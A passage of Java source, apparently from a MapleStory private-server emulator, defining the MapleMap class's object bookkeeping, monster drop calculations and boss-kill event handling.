* Please acquire the appropriate lock when reading and writing to the LinkedHashMaps.
* The MapObjectType Maps themselves do not need to synchronized in any way since they should never be modified.
*/
private final Map<MapleMapObjectType, LinkedHashMap<Integer, MapleMapObject>> mapobjects;
private final Map<MapleMapObjectType, ReentrantReadWriteLock> mapobjectlocks;
private final List<MapleCharacter> characters = new ArrayList<>();
private final ReentrantReadWriteLock charactersLock = new ReentrantReadWriteLock();
private int runningOid = 500000;
private final Lock runningOidLock = new ReentrantLock();
private final List<Spawns> monsterSpawn = new ArrayList<>();
private final AtomicInteger spawnedMonstersOnMap = new AtomicInteger(0);
private final Map<Integer, MaplePortal> portals = new HashMap<>();
private MapleFootholdTree footholds = null;
private float monsterRate, recoveryRate;
private MapleMapEffect mapEffect;
private final byte channel;
private short decHP = 0, createMobInterval = 9000, top = 0, bottom = 0, left = 0, right = 0;
private int consumeItemCoolTime = 0, protectItem = 0, decHPInterval = 10000, mapid, returnMapId, timeLimit,
fieldLimit, maxRegularSpawn = 0, fixedMob, forcedReturnMap = 999999999, instanceid = -1,
lvForceMove = 0, lvLimit = 0, permanentWeather = 0, partyBonusRate = 0;
private boolean town, clock, personalShop, everlast = false, dropsDisabled = false, gDropsDisabled = false,
soaring = false, squadTimer = false, isSpawns = true, checkStates = true;
private String mapName, streetName, onUserEnter, onFirstUserEnter, speedRunLeader = "";
private final List<Integer> dced = new ArrayList<>();
private ScheduledFuture<?> squadSchedule;
private long speedRunStart = 0, lastSpawnTime = 0, lastHurtTime = 0;
private MapleNodes nodes;
private MapleSquadType squad;
private final Map<String, Integer> environment = new LinkedHashMap<>();
private WeakReference<MapleCharacter> changeMobOrigin = null;
public MapleMap(final int mapid, final int channel, final int returnMapId, final float monsterRate) {
this.mapid = mapid;
this.channel = (byte) channel;
this.returnMapId = returnMapId;
if (this.returnMapId == 999999999) {
this.returnMapId = mapid;
}
if (GameConstants.getPartyPlay(mapid) > 0) {
this.monsterRate = (monsterRate - 1.0f) * 2.5f + 1.0f;
} else {
this.monsterRate = monsterRate;
}
EnumMap<MapleMapObjectType, LinkedHashMap<Integer, MapleMapObject>> objsMap = new EnumMap<>(MapleMapObjectType.class);
EnumMap<MapleMapObjectType, ReentrantReadWriteLock> objlockmap = new EnumMap<>(MapleMapObjectType.class);
for (MapleMapObjectType type : MapleMapObjectType.values()) {
objsMap.put(type, new LinkedHashMap<Integer, MapleMapObject>());
objlockmap.put(type, new ReentrantReadWriteLock());
}
mapobjects = Collections.unmodifiableMap(objsMap);
mapobjectlocks = Collections.unmodifiableMap(objlockmap);
}
public final void setSpawns(final boolean fm) {
this.isSpawns = fm;
}
public final boolean getSpawns() {
return isSpawns;
}
public final void setFixedMob(int fm) {
this.fixedMob = fm;
}
public final void setForceMove(int fm) {
this.lvForceMove = fm;
}
public final int getForceMove() {
return lvForceMove;
}
public final void setLevelLimit(int fm) {
this.lvLimit = fm;
}
public final int getLevelLimit() {
return lvLimit;
}
public final void setReturnMapId(int rmi) {
this.returnMapId = rmi;
}
public final void setSoaring(boolean b) {
this.soaring = b;
}
public final boolean canSoar() {
return soaring;
}
public final void toggleDrops() {
this.dropsDisabled = !dropsDisabled;
}
public final void setDrops(final boolean b) {
this.dropsDisabled = b;
}
public final void toggleGDrops() {
this.gDropsDisabled = !gDropsDisabled;
}
public final int getId() {
return mapid;
}
public final MapleMap getReturnMap() {
return ChannelServer.getInstance(channel).getMapFactory().getMap(returnMapId);
}
public final int getReturnMapId() {
return returnMapId;
}
public final int getForcedReturnId() {
return forcedReturnMap;
}
public final MapleMap getForcedReturnMap() {
return ChannelServer.getInstance(channel).getMapFactory().getMap(forcedReturnMap);
}
public final void setForcedReturnMap(final int map) {
if (GameConstants.isCustomReturnMap(mapid)) {
this.forcedReturnMap = GameConstants.getCustomReturnMap(mapid);
} else {
this.forcedReturnMap = map;
}
}
public final float getRecoveryRate() {
return recoveryRate;
}
public final void setRecoveryRate(final float recoveryRate) {
this.recoveryRate = recoveryRate;
}
public final int getFieldLimit() {
return fieldLimit;
}
public final void setFieldLimit(final int fieldLimit) {
this.fieldLimit = fieldLimit;
}
public final void setCreateMobInterval(final short createMobInterval) {
this.createMobInterval = createMobInterval;
}
public final void setTimeLimit(final int timeLimit) {
this.timeLimit = timeLimit;
}
public final void setMapName(final String mapName) {
this.mapName = mapName;
}
public final String getMapName() {
return mapName;
}
public final String getStreetName() {
return streetName;
}
public final void setFirstUserEnter(final String onFirstUserEnter) {
this.onFirstUserEnter = onFirstUserEnter;
}
public final void setUserEnter(final String onUserEnter) {
this.onUserEnter = onUserEnter;
}
public final String getFirstUserEnter() {
return onFirstUserEnter;
}
public final String getUserEnter() {
return onUserEnter;
}
public final boolean hasClock() {
return clock;
}
public final void setClock(final boolean hasClock) {
this.clock = hasClock;
}
public final boolean isTown() {
return town;
}
public final void setTown(final boolean town) {
this.town = town;
}
public final boolean allowPersonalShop() {
return personalShop;
}
public final void setPersonalShop(final boolean personalShop) {
this.personalShop = personalShop;
}
public final void setStreetName(final String streetName) {
this.streetName = streetName;
}
public final void setEverlast(final boolean everlast) {
this.everlast = everlast;
}
public final boolean getEverlast() {
return everlast;
}
public final int getHPDec() {
return decHP;
}
public final void setHPDec(final int delta) {
if (delta > 0 || mapid == 749040100) { //pmd
lastHurtTime = System.currentTimeMillis(); //start it up
}
decHP = (short) delta;
}
public final int getHPDecInterval() {
return decHPInterval;
}
public final void setHPDecInterval(final int delta) {
decHPInterval = delta;
}
public final int getHPDecProtect() {
return protectItem;
}
public final void setHPDecProtect(final int delta) {
this.protectItem = delta;
}
public final int getCurrentPartyId() {
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (chr.getParty() != null) {
return chr.getParty().getId();
}
}
} finally {
charactersLock.readLock().unlock();
}
return -1;
}
public final void addMapObject(final MapleMapObject mapobject) {
runningOidLock.lock();
int newOid;
try {
newOid = ++runningOid;
} finally {
runningOidLock.unlock();
}
mapobject.setObjectId(newOid);
mapobjectlocks.get(mapobject.getType()).writeLock().lock();
try {
mapobjects.get(mapobject.getType()).put(newOid, mapobject);
} finally {
mapobjectlocks.get(mapobject.getType()).writeLock().unlock();
}
}
private void spawnAndAddRangedMapObject(final MapleMapObject mapobject, final DelayedPacketCreation packetbakery) {
addMapObject(mapobject);
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> itr = characters.iterator();
MapleCharacter chr;
while (itr.hasNext()) {
chr = itr.next();
if (!chr.isClone() && (mapobject.getType() == MapleMapObjectType.MIST || chr.getTruePosition().distanceSq(mapobject.getTruePosition()) <= GameConstants.maxViewRangeSq())) {
packetbakery.sendPackets(chr.getClient());
chr.addVisibleMapObject(mapobject);
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public final void removeMapObject(final MapleMapObject obj) {
mapobjectlocks.get(obj.getType()).writeLock().lock();
try {
mapobjects.get(obj.getType()).remove(obj.getObjectId());
} finally {
mapobjectlocks.get(obj.getType()).writeLock().unlock();
}
}
public final Point calcPointBelow(final Point initial) {
final MapleFoothold fh = footholds.findBelow(initial, false);
if (fh == null) {
return null;
}
int dropY = fh.getY1();
if (!fh.isWall() && fh.getY1() != fh.getY2()) {
final double s1 = Math.abs(fh.getY2() - fh.getY1());
final double s2 = Math.abs(fh.getX2() - fh.getX1());
if (fh.getY2() < fh.getY1()) {
dropY = fh.getY1() - (int) (Math.cos(Math.atan(s2 / s1)) * (Math.abs(initial.x - fh.getX1()) / Math.cos(Math.atan(s1 / s2))));
} else {
dropY = fh.getY1() + (int) (Math.cos(Math.atan(s2 / s1)) * (Math.abs(initial.x - fh.getX1()) / Math.cos(Math.atan(s1 / s2))));
}
}
return new Point(initial.x, dropY);
}
public final Point calcDropPos(final Point initial, final Point fallback) {
final Point ret = calcPointBelow(new Point(initial.x, initial.y - 50));
if (ret == null) {
return fallback;
}
return ret;
}
private void dropFromMonster(final MapleCharacter chr, final MapleMonster mob, final boolean instanced) {
if (mob == null || chr == null || ChannelServer.getInstance(channel) == null || dropsDisabled || mob.dropsDisabled() || chr.getPyramidSubway() != null) { //no drops in pyramid ok? no cash either
return;
}
//We choose not to readLock for this.
//This will not affect the internal state, and we don't want to
//introduce unneccessary locking, especially since this function
//is probably used quite often.
if (!instanced && mapobjects.get(MapleMapObjectType.ITEM).size() >= 255) {
removeDrops();
broadcastMessage(CField.getGameMessage("[楓之谷幫助]地上掉寶多於255個,已被清理。", (short) 7));
}
final MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
final byte droptype = (byte) (mob.getStats().isExplosiveReward() ? 3 : mob.getStats().isFfaLoot() ? 2 : chr.getParty() != null ? 1 : 0);
final int mobpos = mob.getTruePosition().x;
final int cmServerrate = ChannelServer.getInstance(channel).getMesoRate(chr.getWorld());
final int chServerrate = ChannelServer.getInstance(channel).getDropRate(chr.getWorld());
final int caServerrate = ChannelServer.getInstance(channel).getCashRate();
final int cashz = (mob.getStats().isBoss() && mob.getStats().getHPDisplayType() == 0 ? 20 : 1) * caServerrate;
final int cashModifier = (int) ((mob.getStats().isBoss() ? (mob.getStats().isPartyBonus() ? (mob.getMobExp() / 1000) : 0) : (mob.getMobExp() / 1000 + mob.getMobMaxHp() / 20000))); //no rate
//if (Randomizer.nextInt(100) < 50) {
// chr.modifyCSPoints(1, (int) ((Randomizer.nextInt(cashz) + cashz + cashModifier) * (chr.getStat().cashBuff / 100.0) * chr.getCashMod()), true);
//}
Item idrop;
byte d = 1;
Point pos = new Point(0, mob.getTruePosition().y);
double showdown = 100.0;
final MonsterStatusEffect mse = mob.getBuff(MonsterStatus.SHOWDOWN);
if (mse != null) {
showdown += mse.getX();
}
final MapleMonsterInformationProvider mi = MapleMonsterInformationProvider.getInstance();
final List<MonsterDropEntry> drops = mi.retrieveDrop(mob.getId());
if (drops == null) { //if no drops, no global drops either
return;
}
final List<MonsterDropEntry> dropEntry = new ArrayList<>(drops);
Collections.shuffle(dropEntry);
boolean mesoDropped = false;
for (final MonsterDropEntry de : dropEntry) {
if (de.itemId == mob.getStolen()) {
continue;
}
if (de.itemId != 0 && !ii.itemExists(de.itemId)) {
continue;
}
if (Randomizer.nextInt(999999) < (int) (de.chance * chServerrate * chr.getDropMod() * chr.getStat().dropBuff / 100.0 * (showdown / 100.0))) {
if (mesoDropped && droptype != 3 && de.itemId == 0) { //not more than 1 sack of meso
continue;
}
if (de.questid > 0 && chr.getQuestStatus(de.questid) != 1) {
continue;
}
if (de.itemId / 10000 == 238 && !mob.getStats().isBoss() && chr.getMonsterBook().getLevelByCard(ii.getCardMobId(de.itemId)) >= 2) {
continue;
}
if (droptype == 3) {
pos.x = (mobpos + (d % 2 == 0 ? (40 * (d + 1) / 2) : -(40 * (d / 2))));
} else {
pos.x = (mobpos + ((d % 2 == 0) ? (25 * (d + 1) / 2) : -(25 * (d / 2))));
}
if (de.itemId == 0) { // meso
int mesos = Randomizer.nextInt(1 + Math.abs(de.Maximum - de.Minimum)) + de.Minimum;
if (mesos > 0) {
spawnMobMesoDrop((int) (mesos * (chr.getStat().mesoBuff / 100.0) * chr.getDropMod() * cmServerrate), calcDropPos(pos, mob.getTruePosition()), mob, chr, false, droptype);
mesoDropped = true;
}
} else {
if (GameConstants.getInventoryType(de.itemId) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(de.itemId));
idrop = MapleInventoryManipulator.checkEnhanced(idrop, chr);//潛能掉寶
} else {
final int range = Math.abs(de.Maximum - de.Minimum);
idrop = new Item(de.itemId, (byte) 0, (short) (de.Maximum != 1 ? Randomizer.nextInt(range <= 0 ? 1 : range) + de.Minimum : 1), (byte) 0);
}
idrop.setGMLog("怪物噴寶: " + mob.getId() + " 地圖: " + toString() + " 時間: " + FileoutputUtil.CurrentReadable_Date());
spawnMobDrop(idrop, calcDropPos(pos, mob.getTruePosition()), mob, chr, droptype, de.questid);
}
d++;
}
}
final List<MonsterGlobalDropEntry> globalEntry = new ArrayList<>(mi.getGlobalDrop());
Collections.shuffle(globalEntry);
// Global Drops
for (final MonsterGlobalDropEntry de : globalEntry) {
if (Randomizer.nextInt(999999) < de.chance && (de.continent < 0 || (de.continent < 10 && mapid / 100000000 == de.continent) || (de.continent < 100 && mapid / 10000000 == de.continent) || (de.continent < 1000 && mapid / 1000000 == de.continent))) {
if (de.questid > 0 && chr.getQuestStatus(de.questid) != 1) {
continue;
}
if (de.itemId == 0) {
chr.modifyCSPoints(1, (int) ((Randomizer.nextInt(cashz) + cashz + cashModifier) * (chr.getStat().cashBuff / 100.0) * chr.getCashMod()), true);
} else if (!gDropsDisabled) {
if (droptype == 3) {
pos.x = (mobpos + (d % 2 == 0 ? (40 * (d + 1) / 2) : -(40 * (d / 2))));
} else {
pos.x = (mobpos + ((d % 2 == 0) ? (25 * (d + 1) / 2) : -(25 * (d / 2))));
}
if (GameConstants.getInventoryType(de.itemId) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(de.itemId));
idrop = MapleInventoryManipulator.checkEnhanced(idrop, chr);//潛能掉寶
} else {
idrop = new Item(de.itemId, (byte) 0, (short) (de.Maximum != 1 ? Randomizer.nextInt(de.Maximum - de.Minimum) + de.Minimum : 1), (byte) 0);
}
idrop.setGMLog("怪物噴寶: " + mob.getId() + " 地圖: " + toString() + " (全域) 時間: " + FileoutputUtil.CurrentReadable_Date());
spawnMobDrop(idrop, calcDropPos(pos, mob.getTruePosition()), mob, chr, de.onlySelf ? 0 : droptype, de.questid);
d++;
}
}
}
}
public void removeMonster(final MapleMonster monster) {
if (monster == null) {
return;
}
spawnedMonstersOnMap.decrementAndGet();
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 0, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 0, false));
}
removeMapObject(monster);
monster.killed();
}
public void killMonster(final MapleMonster monster) { // For mobs with removeAfter
if (monster == null) {
return;
}
spawnedMonstersOnMap.decrementAndGet();
monster.setHp(0);
if (monster.getLinkCID() <= 0) {
monster.spawnRevives(this);
}
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), monster.getStats().getSelfD() < 0 ? 1 : monster.getStats().getSelfD(), false));
removeMapObject(monster);
monster.killed();
}
public final void killMonster(final MapleMonster monster, final MapleCharacter chr, final boolean withDrops, final boolean second, byte animation) {
killMonster(monster, chr, withDrops, second, animation, 0);
}
public final void killMonster(final MapleMonster monster, final MapleCharacter chr, final boolean withDrops, final boolean second, byte animation, final int lastSkill) {
if (monster.getId() == 9300471) {
spawnNpcForPlayer(chr.getClient(), 9073000, new Point(-595, 215));
}
if (monster.getId() == 9001045) {
chr.setQuestAdd(MapleQuest.getInstance(25103), (byte) 1, "1");
}
if (monster.getId() == 9001050) {
if (chr.getMap().getMobsSize() < 2) { //should be 1 left
MapleQuest.getInstance(20035).forceComplete(chr, 1106000);
}
}
if (monster.getId() == 9400902) {
chr.getMap().startMapEffect("So what do you think? Just as though as the original, right?! Move by going to Resercher H.", 5120039);
}
if ((monster.getId() == 8810122 || monster.getId() == 8810018) && !second) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
killMonster(monster, chr, true, true, (byte) 1);
killAllMonsters(true);
}
}, 3000);
return;
}
if (monster.getId() == 8820014) { //pb sponge, kills pb(w) first before dying
killMonster(8820000);
} else if (monster.getId() == 9300166) { //ariant pq bomb
animation = 2;
}
spawnedMonstersOnMap.decrementAndGet();
removeMapObject(monster);
monster.killed();
final MapleSquad sqd = getSquadByMap();
final boolean instanced = sqd != null || monster.getEventInstance() != null || getEMByMap() != null;
int dropOwner = monster.killBy(chr, lastSkill);
if (animation >= 0) {
if (GameConstants.isAzwanMap(getId())) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animation, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animation, false));
}
}
if (dropOwner != -1) {
monster.killGainExp(chr, lastSkill);
}
if (monster.getBuffToGive() > -1) {
final int buffid = monster.getBuffToGive();
final MapleStatEffect buff = MapleItemInformationProvider.getInstance().getItemEffect(buffid);
charactersLock.readLock().lock();
try {
for (final MapleCharacter mc : characters) {
if (mc.isAlive()) {
buff.applyTo(mc);
switch (monster.getId()) {
case 8810018:
case 8810122:
case 8820001:
mc.getClient().getSession().write(EffectPacket.showBuffEffect(true, mc, buffid, SpecialEffectType.MULUNG_DOJO_UP, mc.getLevel(), 1)); // HT nine spirit
broadcastMessage(mc, EffectPacket.showBuffEffect(false, mc, buffid, SpecialEffectType.MULUNG_DOJO_UP, mc.getLevel(), 1), false); // HT nine spirit
break;
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
final int mobid = monster.getId();
ExpeditionType type = null;
if (mobid == 8810018 && mapid == 240060200) { // Horntail
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "To the crew that have finally conquered Horned Tail after numerous attempts, I salute thee! You are the true heroes of Leafre!!"));
//FileoutputUtil.log(FileoutputUtil.Horntail_Log, MapDebug_Log());
if (speedRunStart > 0) {
type = ExpeditionType.Horntail;
}
doShrine(true);
} else if (mobid == 8810122 && mapid == 240060201) { // Horntail
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "To the crew that have finally conquered Chaos Horned Tail after numerous attempts, I salute thee! You are the true heroes of Leafre!!"));
// FileoutputUtil.log(FileoutputUtil.Horntail_Log, MapDebug_Log());
if (speedRunStart > 0) {
type = ExpeditionType.ChaosHT;
}
doShrine(true);
} else if (mobid == 9400266 && mapid == 802000111) {
doShrine(true);
} else if (mobid == 9400265 && mapid == 802000211) {
doShrine(true);
} else if (mobid == 9400270 && mapid == 802000411) {
doShrine(true);
} else if (mobid == 9400273 && mapid == 802000611) {
doShrine(true);
} else if (mobid == 9400294 && mapid == 802000711) {
doShrine(true);
} else if (mobid == 9400296 && mapid == 802000803) {
doShrine(true);
} else if (mobid == 9400289 && mapid == 802000821) {
doShrine(true);
//INSERT HERE: 2095_tokyo
} else if (mobid == 8830000 && mapid == 105100300) {
if (speedRunStart > 0) {
type = ExpeditionType.Balrog;
}
} else if ((mobid == 9420544 || mobid == 9420549) && mapid == 551030200 && monster.getEventInstance() != null && monster.getEventInstance().getName().contains(getEMByMap().getName())) {
doShrine(getAllReactor().isEmpty());
} else if (mobid == 8820001 && mapid == 270050100) {
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "遠征隊歷經艱辛,終於打敗了品克繽,你們是楓之谷的英雄!"));
if (speedRunStart > 0) {
type = ExpeditionType.Pink_Bean;
}
doShrine(true);
} else if (mobid == 8850011 && mapid == 274040200) {
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "遠征隊歷經艱辛,終於打敗了西格諾斯,你們是楓之谷的英雄!"));
if (speedRunStart > 0) {
type = ExpeditionType.Cygnus;
}
doShrine(true);
} else if (mobid == 8870000 && mapid == 262030300) { //hilla
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "希拉已經被打敗。"));
if (speedRunStart > 0) {
type = ExpeditionType.Hilla;
}
doShrine(true);
} else if (mobid == 8870100 && mapid == 262031300) { //hilla
World.Broadcast.broadcastMessage(CWvsContext.broadcastMsg(6, "黑暗希拉已經被打敗。"));
if (speedRunStart > 0) {
type = ExpeditionType.Hilla;
}
doShrine(true);
} else if (mobid == 8840000 && mapid == 211070100) {
if (speedRunStart > 0) {
type = ExpeditionType.Von_Leon;
}
doShrine(true);
} else if (mobid == 8800002 && mapid == 280030100) { //残暴炎魔
// FileoutputUtil.log(FileoutputUtil.Zakum_Log, MapDebug_Log());
if (speedRunStart > 0) {
type = ExpeditionType.Zakum;
}
doShrine(true);
EventManager em = getEMByMap();
for(EventInstanceManager eim : em.getInstances()){
eim.stopEventTimer();
}
} else if (mobid == 8800102 && mapid == 280030000) { //混沌残暴炎魔
//FileoutputUtil.log(FileoutputUtil.Zakum_Log, MapDebug_Log());
if (speedRunStart > 0) {
type = ExpeditionType.Chaos_Zakum;
}
doShrine(true);
EventManager em = getEMByMap();
for(EventInstanceManager eim : em.getInstances()){
eim.stopEventTimer();
}
} else if(mobid == 8800022 && mapid == 280030200){ //简单炎魔
//FileoutputUtil.log(FileoutputUtil.Zakum_Log, MapDebug_Log());
if (speedRunStart > 0) {
type = ExpeditionType.Simple_Zakum;
}
doShrine(true);
EventManager em = getEMByMap();
for(EventInstanceManager eim : em.getInstances()){
eim.stopEventTimer();
}
} else if (mobid >= 8800003 && mobid <= 8800010) { // 如果是残暴炎魔手臂
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800003 && mons.getId() <= 8800010) { // If there are any Zakum Arms existing, set makeZakReal false, which means Zakum is still a fake monster in Clients.
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMonster mons : monsters) {
if (mons.getId() == 8800000) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800000), pos);
break;
}
}
}
} else if (mobid >= 8800103 && mobid <= 8800110) { // 如果是混沌残暴炎魔手臂
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800103 && mons.getId() <= 8800110) { // If there are any Zakum Arms existing, set makeZakReal false, which means Zakum is still a fake monster in Clients.
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMonster mons : monsters) {
if (mons.getId() == 8800100) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800100), pos);
break;
}
}
}
} else if (mobid >= 8800023 && mobid <= 8800030) { // 如果是简单炎魔手臂
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800023 && mons.getId() <= 8800030) { // If there are any Zakum Arms existing, set makeZakReal false, which means Zakum is still a fake monster in Clients.
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMonster mons : monsters) {
if (mons.getId() == 8800020) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
MapleMonster mob = MapleLifeFactory.getMonster(8800020);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800020), pos);
break;
}
}
}
} else if (mobid == 8820008) { //wipe out statues and respawn
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if (mons.getLinkOid() != monster.getObjectId()) {
killMonster(mons, chr, false, false, animation);
}
}
} else if (mobid >= 8820010 && mobid <= 8820014) {
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if (mons.getId() != 8820000 && mons.getId() != 8820001 && mons.getObjectId() != monster.getObjectId() && mons.isAlive() && mons.getLinkOid() == monster.getObjectId()) {
killMonster(mons, chr, false, false, animation);
}
}
} else if (mobid / 100000 == 98 && chr.getMapId() / 10000000 == 95 && getAllMonstersThreadsafe().isEmpty()) {
switch ((chr.getMapId() % 1000) / 100) {
case 0:
case 1:
case 2:
case 3:
case 4:
chr.getClient().getSession().write(CField.MapEff("monsterPark/clear"));
break;
case 5:
if (chr.getMapId() / 1000000 == 952) {
chr.getClient().getSession().write(CField.MapEff("monsterPark/clearF"));
} else {
chr.getClient().getSession().write(CField.MapEff("monsterPark/clear"));
}
break;
case 6:
chr.getClient().getSession().write(CField.MapEff("monsterPark/clearF"));
break;
}
}
if (type != null) {
if (speedRunStart > 0 && speedRunLeader.length() > 0) {
long endTime = System.currentTimeMillis();
String time = StringUtil.getReadableMillis(speedRunStart, endTime);
broadcastMessage(CWvsContext.broadcastMsg(5, speedRunLeader + "'s squad has taken " + time + " to defeat " + type.name() + "!"));
getRankAndAdd(speedRunLeader, time, type, (endTime - speedRunStart), (sqd == null ? null : sqd.getMembers()));
endSpeedRun();
}
}
if (withDrops && dropOwner != -1) {
MapleCharacter drop;
if (dropOwner <= 0) {
drop = chr;
} else {
drop = getCharacterById(dropOwner);
if (drop == null) {
drop = chr;
}
}
dropFromMonster(drop, monster, instanced);
}
final int caServerrate = ChannelServer.getInstance(channel).getCashRate();
final int cashz = (monster.getStats().isBoss() && monster.getStats().getHPDisplayType() == 0 ? 20 : 1) * caServerrate;
final int cashModifier = (int) ((monster.getStats().isBoss() ? (monster.getStats().isPartyBonus() ? (monster.getMobExp() / 1000) : 0) : (monster.getMobExp() / 100 + monster.getMobMaxHp() / 2000))); //no rate
/*if (Randomizer.nextInt(100) < 25) { //kill nx殺怪得樂豆點
chr.modifyCSPoints(1, (int) ((Randomizer.nextInt(cashz) + cashz + cashModifier) * (chr.getStat().cashBuff / 100.0) * chr.getCashMod()), true);
}*/
}
public List<MapleReactor> getAllReactor() {
return getAllReactorsThreadsafe();
}
public List<MapleReactor> getAllReactorsThreadsafe() {
ArrayList<MapleReactor> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
ret.add((MapleReactor) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
return ret;
}
public List<MapleRune> getAllRune() {
return getAllRuneThreadsafe();
}
public List<MapleRune> getAllRuneThreadsafe() {
ArrayList<MapleRune> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.RUNE).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.RUNE).values()) {
ret.add((MapleRune) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.RUNE).readLock().unlock();
}
return ret;
}
public List<MapleSummon> getAllSummonsThreadsafe() {
ArrayList<MapleSummon> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.SUMMON).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.SUMMON).values()) {
if (mmo instanceof MapleSummon) {
ret.add((MapleSummon) mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.SUMMON).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllDoor() {
return getAllDoorsThreadsafe();
}
public List<MapleMapObject> getAllDoorsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.DOOR).values()) {
if (mmo instanceof MapleDoor) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllMechDoorsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.DOOR).values()) {
if (mmo instanceof MechDoor) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllMerchant() {
return getAllHiredMerchantsThreadsafe();
}
public List<MapleMapObject> getAllHiredMerchantsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.HIRED_MERCHANT).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.HIRED_MERCHANT).values()) {
ret.add(mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.HIRED_MERCHANT).readLock().unlock();
}
return ret;
}
public List<MapleMonster> getAllMonster() {
return getAllMonstersThreadsafe();
}
public List<MapleMonster> getAllMonstersThreadsafe() {
ArrayList<MapleMonster> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MONSTER).values()) {
ret.add((MapleMonster) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
return ret;
}
public List<Integer> getAllUniqueMonsters() {
ArrayList<Integer> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MONSTER).values()) {
final int theId = ((MapleMonster) mmo).getId();
if (!ret.contains(theId)) {
ret.add(theId);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
return ret;
}
public final void killAllMonsters(final boolean animate) {
for (final MapleMapObject monstermo : getAllMonstersThreadsafe()) {
final MapleMonster monster = (MapleMonster) monstermo;
spawnedMonstersOnMap.decrementAndGet();
monster.setHp(0);
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animate ? 1 : 0, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animate ? 1 : 0, false));
}
removeMapObject(monster);
monster.killed();
}
}
public final void killMonster(final int monsId) {
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
if (((MapleMonster) mmo).getId() == monsId) {
spawnedMonstersOnMap.decrementAndGet();
removeMapObject(mmo);
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(mmo.getObjectId(), 1, true));
} else {
broadcastMessage(MobPacket.killMonster(mmo.getObjectId(), 1, false));
}
((MapleMonster) mmo).killed();
break;
}
}
}
private String MapDebug_Log() {
final StringBuilder sb = new StringBuilder("Defeat time : ");
sb.append(FileoutputUtil.CurrentReadable_Time());
